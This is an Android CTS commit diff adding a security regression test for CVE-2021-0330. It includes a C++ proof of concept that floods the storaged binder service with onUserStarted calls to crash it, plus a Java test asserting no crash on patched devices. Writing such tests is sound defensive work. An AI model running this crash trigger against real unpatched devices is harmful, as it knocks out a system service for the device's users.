[RESTRICT AUTOMERGE] CTS test for Android Security b/170732441
Bug: 170732441
Bug: 175817164
Test: Ran the new testcase on android-9.0.0_r39 with/without patch
Change-Id: I327586309d0d521b840ef94773b88b0cd7bd9c57
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.mk
new file mode 100644
index 0000000..59e50e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2021-0330
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libutils
+LOCAL_SHARED_LIBRARIES += libbinder
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+
+ if (not service) {
+ return nullptr;
+ }
+
+ while (userId < kMaxUsers) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeInt32(++userId);
+ service->transact(1, data, &reply, 0);
+ }
+
+ return nullptr;
+}
+
+int main() {
+ pthread_t threads[kMaxThreads];
+
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+ }
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_join(threads[t], nullptr);
+ }
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+ if (service) {
+ break;
+ }
+ sleep(kSleepDuration);
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+ /**
+ * b/170732441
+ * Vulnerability Behaviour: SIGSEGV in storaged
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testPocCVE_2021_0330() throws Exception {
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
